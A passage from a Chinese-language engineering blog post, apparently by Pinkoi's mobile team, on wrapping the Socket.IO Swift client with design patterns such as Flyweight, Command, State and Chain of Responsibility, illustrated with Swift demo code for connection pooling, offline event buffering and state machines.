  • 封裝 Socket.IO 煩瑣操作,提供基於 Pinkoi 商業需求的可擴充及方便使用介面
  • 統一雙平台介面 (Socket.IO 的 Android 與 iOS Client Side Library 支援的功能及介面不相同)
  • Feature 端無需了解 Socket.IO 機制
  • Feature 端無需管理複雜的連線狀態
  • 未來有 webSocket 雙向通訊需求能直接使用

時間及人力:

  • iOS & Android 各投入一位
  • 開發時程:時程 3 週

技術細節

Web & iOS & Android 三平台均會支援此 Feature;要引入 webSocket 雙向通訊協議來實現,後端預計直接使用 Socket.io 服務。

首先要說 Socket != WebSocket

關於 Socket 與 WebSocket 及技術細節可參考以下兩篇文章:

簡而言之:

1
+2
+
Socket 是 TCP/UDP 傳輸層的抽象封裝介面,而 WebSocket 是應用層的傳輸協議。
+Socket 與 WebSocket 的關係就像狗跟熱狗的關係一樣,沒有關係。
+

Socket.IO 是 Engine.IO 的一層抽象操作封裝,Engine.IO 則是對 WebSocket 的使用封裝,每層只負責對上對下之間的交流,不允許貫穿操作(e.g. Socket.IO 直接操作 WebSocket 連線)。

Socket.IO/Engine.IO 除了基本的 WebSocket 連線外還實做了很多方便好用的功能集合(e.g. 離線發送 Event 機制、類似 Http Request 機制、Room/Group 機制…等等)。

Platform Team 這層的主要職責是橋接 Socket.IO 與 Pinkoi Server Side 之間的邏輯,供應上層 Feature Teams 開發功能時使用。

Socket.IO Swift Client 有坑

  • 已許久未更新 (最新一版還在 2019),不確定是否還有在維護。
  • Client & Server Side Socket IO Version 要對齊,Server Side 可加上 {allowEIO3: true} / 或 Client Side 指定相同版本 .version 否則怎麼連都連不上。
  • 命名方式、介面與官網範例很多都對不起來。
  • Socket.io 官網範例都是拿 Web 做介紹,實際上 Swift Client 並不一定有全支援官網寫的功能 。 此次實作發現 iOS 這邊 Library 並未實現離線發送 Event 機制 (我們是自行實現的,請往後繼續閱讀)

建議有要採用 Socket.IO 前先實驗看看你想要的機制是否支援。

Socket.IO Swift Client 是基於 Starscream WebSocket Library 的封裝,必要時可降級使用 Starscream。

1
+
背景資訊補充到此結束,接下來進入正題。
+

Design Patterns

設計模式說穿了就只是軟體設計當中常見問題的解決方案,不一定要用設計模式才能開發、設計模式不一定能適用所有場景、也沒人說不能自行歸納出新的設計模式。

[The Catalog of Design Patterns](https://refactoring.guru/design-patterns/catalog){:target="_blank"}

The Catalog of Design Patterns

但現有的設計模式 (The 23 Gang of Four Design Patterns) 已是軟體設計中的共同知識,只要提到 XXX Pattern 大家腦中就會有相應的架構藍圖,不需多做解釋、後續維護也比較好知道脈絡、且已是經過業界驗證的方法不太需要花時間審視物件依賴問題;在適合的場景選用適合的模式可以降低溝通及維護成本,提升開發效率。

設計模式可以組合使用,但不建議對現有設計模式魔改、強行為套用而套用、套用不符合分類的 Pattern (e.g. 用責任練模式來產生物件),會失去使用的意義更可能造成後續接手的人的誤會。

本篇會提到的 Design Patterns:

會逐一在後面解釋什麼場境用了、為何要用。

本文著重在 Design Pattern 的應用,而非 Socket.IO 的操作,部分示例會因為描述方便而有所刪減, 無法適用真實的 Socket.IO 封裝

因篇幅有限,本文不會詳細介紹每個設計模式的架構,請先點各個模式的連結進入了解該模式的架構後再繼續閱讀。

Demo Code 會使用 Swift 撰寫。

需求場景 1.

What?

  • 使用相同的 Path 在不同頁面、Object 請求 Connection 時能複用取得相同的物件。
  • Connection 需為抽象介面,不直接依賴 Socket.IO Object

Why?

  • 減少記憶體開銷及重複連線的時間、流量成本。
  • 為未來抽換成其他框架預留空間

How?

  • Singleton Pattern :創建型 Pattern,保證一個物件只會有一個實體。
  • Flywieght Pattern :結構型 Pattern,基於共享多個物件相同的狀態,重複使用。
  • Factory Pattern :創建型 Pattern,抽象物件產生方法,使其能在外部抽換。

實際案例使用:

  • Singleton Pattern: ConnectionManager 在 App Lifecycle 中僅存在一個的物件,用來管理 Connection 取用操作。
  • Flywieght Pattern: ConnectionPool 顧名思義就是 Connection 的共用池子,統一從這個池子的方法拿出 Connection,其中邏輯就會包含當發現 URL Path 一樣時直接給予已經在池子裡的 Connection。 ConnectionHandler 則做為 Connection 的外在操作、狀態管理器。
  • Factory Pattern: ConnectionFactory 搭配上面 Flywieght Pattern 當發現池子沒有可複用的 Connection 時則用此工廠介面去產生。
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+
import Combine
+import Foundation
+
+protocol Connection {
+    var url: URL {get}
+    var id: UUID {get}
+    
+    init(url: URL)
+    
+    func connect()
+    func disconnect()
+    
+    func sendEvent(_ event: String)
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never>
+}
+
+protocol ConnectionFactory {
+    func create(url: URL) -> Connection
+}
+
+class ConnectionPool {
+    
+    private let connectionFactory: ConnectionFactory
+    private var connections: [Connection] = []
+    
+    init(connectionFactory: ConnectionFactory) {
+        self.connectionFactory = connectionFactory
+    }
+    
+    func getOrCreateConnection(url: URL) -> Connection {
+        if let connection = connections.first(where: { $0.url == url }) {
+            return connection
+        } else {
+            let connection = connectionFactory.create(url: url)
+            connections.append(connection)
+            return connection
+        }
+    }
+    
+}
+
+class ConnectionHandler {
+    private let connection: Connection
+    init(connection: Connection) {
+        self.connection = connection
+    }
+    
+    func getConnectionUUID() -> UUID {
+        return connection.id
+    }
+}
+
+class ConnectionManager {
+    static let shared = ConnectionManager(connectionPool: ConnectionPool(connectionFactory: SIOConnectionFactory()))
+    private let connectionPool: ConnectionPool
+    private init(connectionPool: ConnectionPool) {
+        self.connectionPool = connectionPool
+    }
+    
+    //
+    func requestConnectionHandler(url: URL) -> ConnectionHandler {
+        let connection = connectionPool.getOrCreateConnection(url: url)
+        return ConnectionHandler(connection: connection)
+    }
+}
+
+// Socket.IO Implementation
+class SIOConnection: Connection {
+    let url: URL
+    let id: UUID = UUID()
+    
+    required init(url: URL) {
+        self.url = url
+        //
+    }
+    
+    func connect() {
+        //
+    }
+    
+    func disconnect() {
+        //
+    }
+    
+    func sendEvent(_ event: String) {
+        //
+    }
+    
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never> {
+        //
+        return PassthroughSubject<Data?, Never>().eraseToAnyPublisher()
+    }
+}
+
+class SIOConnectionFactory: ConnectionFactory {
+    func create(url: URL) -> Connection {
+        //
+        return SIOConnection(url: url)
+    }
+}
+//
+
+print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/1")!).getConnectionUUID().uuidString)
+print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/1")!).getConnectionUUID().uuidString)
+
+print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/2")!).getConnectionUUID().uuidString)
+
+// output:
+// D99F5429-1C6D-4EB5-A56E-9373D6F37307
+// D99F5429-1C6D-4EB5-A56E-9373D6F37307
+// 599CF16F-3D7C-49CF-817B-5A57C119FE31
+

需求場景 2.

What?

如背景技術細節所述,Socket.IO Swift Client 的 Send Event 並不支援離線發送 (但 Web/Android 版的 Library 卻可以),因此 iOS 端需要自行實現此功能。

1
+
神奇的是 Socket.IO Swift Client - onEvent 是支援離線訂閱的。
+

Why?

  • 跨平台功能統一
  • 程式碼容易理解

How?

  • Command Pattern :行為型 Pattern,將操作包裝成對象,提供隊列、延遲、取消…等等集合操作。

  • Command Pattern: SIOManager 為與 Socket.IO 溝通的最底層封裝,其中的 sendrequest 方法都是對 Socket.IO Send Event 的操作,當發現當前 Socket.IO 處於斷線狀態,則將請求參數放到 bufferedCommands 中,當連上之後就逐一拿出來處理 (First In First Out)。
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+
protocol BufferedCommand {
+    var sioManager: SIOManagerSpec? { get set }
+    var event: String { get }
+    
+    func execute()
+}
+
+struct SendBufferedCommand: BufferedCommand {
+    let event: String
+    weak var sioManager: SIOManagerSpec?
+    
+    func execute() {
+        sioManager?.send(event)
+    }
+}
+
+struct RequestBufferedCommand: BufferedCommand {
+    let event: String
+    let callback: (Data?) -> Void
+    weak var sioManager: SIOManagerSpec?
+    
+    func execute() {
+        sioManager?.request(event, callback: callback)
+    }
+}
+
+protocol SIOManagerSpec: AnyObject {
+    func connect()
+    func disconnect()
+    func onEvent(event: String, callback: @escaping (Data?) -> Void)
+    func send(_ event: String)
+    func request(_ event: String, callback: @escaping (Data?) -> Void)
+}
+
+enum ConnectionState {
+    case created
+    case connected
+    case disconnected
+    case reconnecting
+    case released
+}
+
+class SIOManager: SIOManagerSpec {
+        
+    var state: ConnectionState = .disconnected {
+        didSet {
+            if state == .connected {
+                executeBufferedCommands()
+            }
+        }
+    }
+    
+    private var bufferedCommands: [BufferedCommand] = []
+    
+    func connect() {
+        state = .connected
+    }
+    
+    func disconnect() {
+        state = .disconnected
+    }
+    
+    func send(_ event: String) {
+        guard state == .connected else {
+            appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self))
+            return
+        }
+        
+        print("Send:\(event)")
+    }
+    
+    func request(_ event: String, callback: @escaping (Data?) -> Void) {
+        guard state == .connected else {
+            appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self))
+            return
+        }
+        
+        print("request:\(event)")
+    }
+    
+    func onEvent(event: String, callback: @escaping (Data?) -> Void) {
+        //
+    }
+    
+    func appendBufferedCommands(connectionCommand: BufferedCommand) {
+        bufferedCommands.append(connectionCommand)
+    }
+    
+    func executeBufferedCommands() {
+        // First in, first out
+        bufferedCommands.forEach { connectionCommand in
+            connectionCommand.execute()
+        }
+        bufferedCommands.removeAll()
+    }
+    
+    func removeAllBufferedCommands() {
+        bufferedCommands.removeAll()
+    }
+}
+
+let manager = SIOManager()
+manager.send("send_event_1")
+manager.send("send_event_2")
+manager.request("request_event_1") { _ in
+    //
+}
+manager.state = .connected
+

同理也可以實現到 onEvent 上。

延伸:可以再套用 Proxy Pattern ,將 Buffer 功能視為一種 Proxy。

需求場景 3.

What?

Connection 有多個狀態,有序的狀態與狀態間切換、各狀態允許不同的操作。

  • Created:物件被建立,允許 -> Connected 或直接進 Disconnected
  • Connected:已連上 Socket.IO,允許 -> Disconnected
  • Disconnected:已與 Socket.IO 斷線,允許 -> ReconnectiongReleased
  • Reconnectiong:正在嘗試重新連上 Socket.IO,允許 -> ConnectedDisconnected
  • Released:物件已被標示為等待被記憶體回收,不允許任何操作及切換狀態

Why?

  • 狀態與狀態的切換邏輯跟表述不容易
  • 各狀態要限制操作方法(e.g. State = Released 時無法 Call Send Event),直接使用 if. .else 會讓程式難以維護閱讀

How?

  • Finite State MachineSIOConnectionStateMachine 為狀態機實作, currentSIOConnectionState 為當前狀態, created、connected、disconnected、reconnecting、released 表列出此狀態機可能的切換狀態。 enterXXXState() throws 為從 Current State 進入某個狀態時的允許與不允許(throw error)實作。
  • State PatternSIOConnectionState 為所有狀態會用到的操作方法介面抽象。
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+231
+232
+233
+234
+235
+236
+237
+238
+239
+240
+241
+242
+243
+244
+245
+246
+247
+248
+249
+250
+251
+252
+253
+254
+255
+256
+257
+258
+259
+260
+261
+262
+263
+264
+265
+266
+267
+268
+269
+270
+271
+272
+273
+274
+275
+276
+277
+278
+279
+280
+281
+282
+283
+284
+285
+286
+287
+288
+289
+290
+291
+292
+293
+294
+295
+296
+297
+298
+299
+300
+301
+302
+303
+304
+305
+306
+307
+308
+309
+310
+311
+312
+313
+314
+315
+316
+317
+318
+319
+320
+321
+322
+323
+324
+325
+326
+327
+328
+329
+330
+331
+332
+333
+334
+335
+336
+337
+338
+339
+340
+341
+342
+343
+344
+345
+346
+347
+348
+349
+350
+351
+352
+353
+354
+355
+356
+357
+358
+359
+360
+361
+362
+363
+364
+365
+366
+367
+368
+369
+370
+371
+372
+373
+374
+375
+376
+377
+378
+379
+380
+381
+382
+383
+384
+385
+386
+387
+388
+389
+390
+391
+392
+393
+394
+395
+396
+397
+398
+399
+400
+401
+402
+403
+404
+405
+406
+407
+408
+409
+410
+411
+412
+413
+414
+415
+416
+417
+418
+419
+420
+421
+422
+423
+424
+425
+426
+427
+428
+429
+430
+431
+432
+433
+434
+435
+436
+
protocol SIOManagerSpec: AnyObject {
+    func connect()
+    func disconnect()
+    func onEvent(event: String, callback: @escaping (Data?) -> Void)
+    func send(_ event: String)
+    func request(_ event: String, callback: @escaping (Data?) -> Void)
+}
+
+enum ConnectionState {
+    case created
+    case connected
+    case disconnected
+    case reconnecting
+    case released
+}
+
+class SIOManager: SIOManagerSpec {
+        
+    var state: ConnectionState = .disconnected {
+        didSet {
+            if state == .connected {
+                executeBufferedCommands()
+            }
+        }
+    }
+    
+    private var bufferedCommands: [BufferedCommand] = []
+    
+    func connect() {
+        state = .connected
+    }
+    
+    func disconnect() {
+        state = .disconnected
+    }
+    
+    func send(_ event: String) {
+        guard state == .connected else {
+            appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self))
+            return
+        }
+        
+        print("Send:\(event)")
+    }
+    
+    func request(_ event: String, callback: @escaping (Data?) -> Void) {
+        guard state == .connected else {
+            appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self))
+            return
+        }
+        
+        print("request:\(event)")
+    }
+    
+    func onEvent(event: String, callback: @escaping (Data?) -> Void) {
+        //
+    }
+    
+    func appendBufferedCommands(connectionCommand: BufferedCommand) {
+        bufferedCommands.append(connectionCommand)
+    }
+    
+    func executeBufferedCommands() {
+        // First in, first out
+        bufferedCommands.forEach { connectionCommand in
+            connectionCommand.execute()
+        }
+        bufferedCommands.removeAll()
+    }
+    
+    func removeAllBufferedCommands() {
+        bufferedCommands.removeAll()
+    }
+}
+
+let manager = SIOManager()
+manager.send("send_event_1")
+manager.send("send_event_2")
+manager.request("request_event_1") { _ in
+    //
+}
+manager.state = .connected
+
+//
+
+class SIOConnectionStateMachine {
+    
+    private(set) var currentSIOConnectionState: SIOConnectionState!
+
+    private var created: SIOConnectionState!
+    private var connected: SIOConnectionState!
+    private var disconnected: SIOConnectionState!
+    private var reconnecting: SIOConnectionState!
+    private var released: SIOConnectionState!
+    
+    init() {
+        self.created = SIOConnectionCreatedState(stateMachine: self)
+        self.connected = SIOConnectionConnectedState(stateMachine: self)
+        self.disconnected = SIOConnectionDisconnectedState(stateMachine: self)
+        self.reconnecting = SIOConnectionReconnectingState(stateMachine: self)
+        self.released = SIOConnectionReleasedState(stateMachine: self)
+        
+        self.currentSIOConnectionState = created
+    }
+    
+    func enterConnected() throws {
+        if [created.connectionState, reconnecting.connectionState].contains(currentSIOConnectionState.connectionState) {
+            enter(connected)
+        } else {
+            throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Connected")
+        }
+    }
+    
+    func enterDisconnected() throws {
+        if [created.connectionState, connected.connectionState, reconnecting.connectionState].contains(currentSIOConnectionState.connectionState) {
+            enter(disconnected)
+        } else {
+            throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Disconnected")
+        }
+    }
+
+    func enterReconnecting() throws {
+        if [disconnected.connectionState].contains(currentSIOConnectionState.connectionState) {
+            enter(reconnecting)
+        } else {
+            throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Reconnecting")
+        }
+    }
+
+    func enterReleased() throws {
+        if [disconnected.connectionState].contains(currentSIOConnectionState.connectionState) {
+            enter(released)
+        } else {
+            throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Released")
+        }
+    }
+    
+    private func enter(_ state: SIOConnectionState) {
+        currentSIOConnectionState = state
+    }
+}
+
+
+protocol SIOConnectionState {
+    var connectionState: ConnectionState { get }
+    var stateMachine: SIOConnectionStateMachine { get }
+    init(stateMachine: SIOConnectionStateMachine)
+
+    func onConnected() throws
+    func onDisconnected() throws
+    
+    
+    func connect(socketManager: SIOManagerSpec) throws
+    func disconnect(socketManager: SIOManagerSpec) throws
+    func release(socketManager: SIOManagerSpec) throws
+    
+    func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws
+    func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws
+    func send(socketManager: SIOManagerSpec, event: String) throws
+}
+
+struct SIOConnectionStateMachineError: Error {
+    let message: String
+
+    init(_ message: String) {
+        self.message = message
+    }
+
+    var localizedDescription: String {
+        return message
+    }
+}
+
+class SIOConnectionCreatedState: SIOConnectionState {
+    
+    let connectionState: ConnectionState = .created
+    let stateMachine: SIOConnectionStateMachine
+    
+    required init(stateMachine: SIOConnectionStateMachine) {
+        self.stateMachine = stateMachine
+    }
+
+    func onConnected() throws {
+        try stateMachine.enterConnected()
+    }
+    
+    func onDisconnected() throws {
+        try stateMachine.enterDisconnected()
+    }
+    
+    func release(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ConnectedState can't release!")
+    }
+    
+    func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func send(socketManager: SIOManagerSpec, event: String) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func connect(socketManager: SIOManagerSpec) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func disconnect(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("CreatedState can't disconnect!")
+    }
+}
+
+class SIOConnectionConnectedState: SIOConnectionState {
+    
+    let connectionState: ConnectionState = .connected
+    let stateMachine: SIOConnectionStateMachine
+    
+    required init(stateMachine: SIOConnectionStateMachine) {
+        self.stateMachine = stateMachine
+    }
+    
+    func onConnected() throws {
+        //
+    }
+    
+    func onDisconnected() throws {
+        try stateMachine.enterDisconnected()
+    }
+    
+    func release(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ConnectedState can't release!")
+    }
+    
+    func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func send(socketManager: SIOManagerSpec, event: String) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func connect(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ConnectedState can't connect!")
+    }
+    
+    func disconnect(socketManager: SIOManagerSpec) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+}
+
+class SIOConnectionDisconnectedState: SIOConnectionState {
+    
+    let connectionState: ConnectionState = .disconnected
+    let stateMachine: SIOConnectionStateMachine
+    
+    required init(stateMachine: SIOConnectionStateMachine) {
+        self.stateMachine = stateMachine
+    }
+
+    func onConnected() throws {
+        try stateMachine.enterConnected()
+    }
+    
+    func onDisconnected() throws {
+        //
+    }
+    
+    func release(socketManager: SIOManagerSpec) throws {
+        try stateMachine.enterReleased()
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func send(socketManager: SIOManagerSpec, event: String) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func connect(socketManager: SIOManagerSpec) throws {
+        try stateMachine.enterReconnecting()
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func disconnect(socketManager: SIOManagerSpec) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+}
+
+class SIOConnectionReconnectingState: SIOConnectionState {
+    
+    let connectionState: ConnectionState = .reconnecting
+    let stateMachine: SIOConnectionStateMachine
+    
+    required init(stateMachine: SIOConnectionStateMachine) {
+        self.stateMachine = stateMachine
+    }
+
+    func onConnected() throws {
+        try stateMachine.enterConnected()
+    }
+    
+    func onDisconnected() throws {
+        try stateMachine.enterDisconnected()
+    }
+    
+    func release(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ReconnectState can't release!")
+    }
+    
+    func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func send(socketManager: SIOManagerSpec, event: String) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+    
+    func connect(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ReconnectState can't connect!")
+    }
+    
+    func disconnect(socketManager: SIOManagerSpec) throws {
+        // allow
+        // can use Helper to reduce the repeating code
+        // e.g. helper.XXX(socketManager: SIOManagerSpec, ....)
+    }
+}
+
+class SIOConnectionReleasedState: SIOConnectionState {
+    
+    let connectionState: ConnectionState = .released
+    let stateMachine: SIOConnectionStateMachine
+    
+    required init(stateMachine: SIOConnectionStateMachine) {
+        self.stateMachine = stateMachine
+    }
+
+    func onConnected() throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't onConnected!")
+    }
+    
+    func onDisconnected() throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't onDisconnected!")
+    }
+    
+    func release(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't release!")
+    }
+    
+    func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't request!")
+    }
+    
+    func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't receiveOn!")
+    }
+    
+    func send(socketManager: SIOManagerSpec, event: String) throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't send!")
+    }
+    
+    func connect(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't connect!")
+    }
+    
+    func disconnect(socketManager: SIOManagerSpec) throws {
+        throw SIOConnectionStateMachineError("ReleasedState can't disconnect!")
+    }
+}
+
+do {
+    let stateMachine = SIOConnectionStateMachine()
+    // mock on socket.io connect:
+    // socketIO.on(connect){
+    try stateMachine.currentSIOConnectionState.onConnected()
+    try stateMachine.currentSIOConnectionState.send(socketManager: manager, event: "test")
+    try stateMachine.currentSIOConnectionState.release(socketManager: manager)
+    try stateMachine.currentSIOConnectionState.send(socketManager: manager, event: "test")
+    // }
+} catch {
+    print("error: \(error)")
+}
+
+// output:
+// error: SIOConnectionStateMachineError(message: "ConnectedState can\'t release!")
+

需求場景 3.

What?

結合場景 1. 2.,有了 ConnectionPool 享元池子加上 State Pattern 狀態管理後;我們繼續往下延伸,如背景目標所述,Feature 端不需去管背後 Connection 的連線機制;因此我們建立了一個輪詢器 (命名為 ConnectionKeeper ) 會定時掃描 ConnectionPool 中強持有的 Connection ,並在發生以下狀況時做操作:

  • Connection 有人在使用且狀態非 Connected :將狀態改為 Reconnecting 並嘗試重新連線
  • Connection 已無人使用且狀態為 Connected :將狀態改為 Disconnected
  • Connection 已無人使用且狀態為 Disconnected :將狀態改為 Released 並從 ConnectionPool 中移除

Why?

  • 三個操作有上下關係且互斥 (disconnected -> released or reconnecting)
  • 可彈性抽換、增加狀況操作
  • 未封裝的話只能將三個判斷及操作直接寫在方法中 (難以測試其中邏輯)
  • e.g:
1
+2
+3
+4
+5
+6
+7
+
if !connection.isOccupie() && connection.state == .connected then
+... connection.disconnected()
+else if !connection.isOccupie() && state == .released then
+... connection.release()
+else if connection.isOccupie() && state == .disconnected then
+... connection.reconnecting()
+end
+

How?

  • Chain Of Resposibility :行為型 Pattern,顧名思義是一條鏈,每個節點都有相應的操作,輸入資料後節點可決定是否要操作還是丟給下一個節點處理,另一個現實應用是 iOS Responder Chain

照定義 Chain of responsibility Pattern 是不允許某個節點已經接下處理資料,但處理完又丟給下一個節點繼續處理, 要做就做完,不然不要做

如果是上述場景比較適合的應該是 Interceptor Pattern

  • Chain of responsibility: ConnectionKeeperHandler 為鍊的節點抽象,特別抽出 canExcute 方法避免發生上述 這個節點接下來處理了,但做完又想呼叫後面的節點繼續執行的狀況、 handle 為鍊的節點串連、 excute 為要處理的話會怎麼處理的邏輯。 ConnectionKeeperHandlerContext 用來存放會用到的資料, isOccupie 代表 Connection 有無人在使用。
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+
enum ConnectionState {
+    case created
+    case connected
+    case disconnected
+    case reconnecting
+    case released
+}
+
+protocol Connection {
+    var connectionState: ConnectionState {get}
+    var url: URL {get}
+    var id: UUID {get}
+    
+    init(url: URL)
+    
+    func connect()
+    func reconnect()
+    func disconnect()
+    
+    func sendEvent(_ event: String)
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never>
+}
+
+// Socket.IO Implementation
+class SIOConnection: Connection {
+    let connectionState: ConnectionState = .created
+    let url: URL
+    let id: UUID = UUID()
+    
+    required init(url: URL) {
+        self.url = url
+        //
+    }
+    
+    func connect() {
+        //
+    }
+    
+    func disconnect() {
+        //
+    }
+    
+    func reconnect() {
+        //
+    }
+    
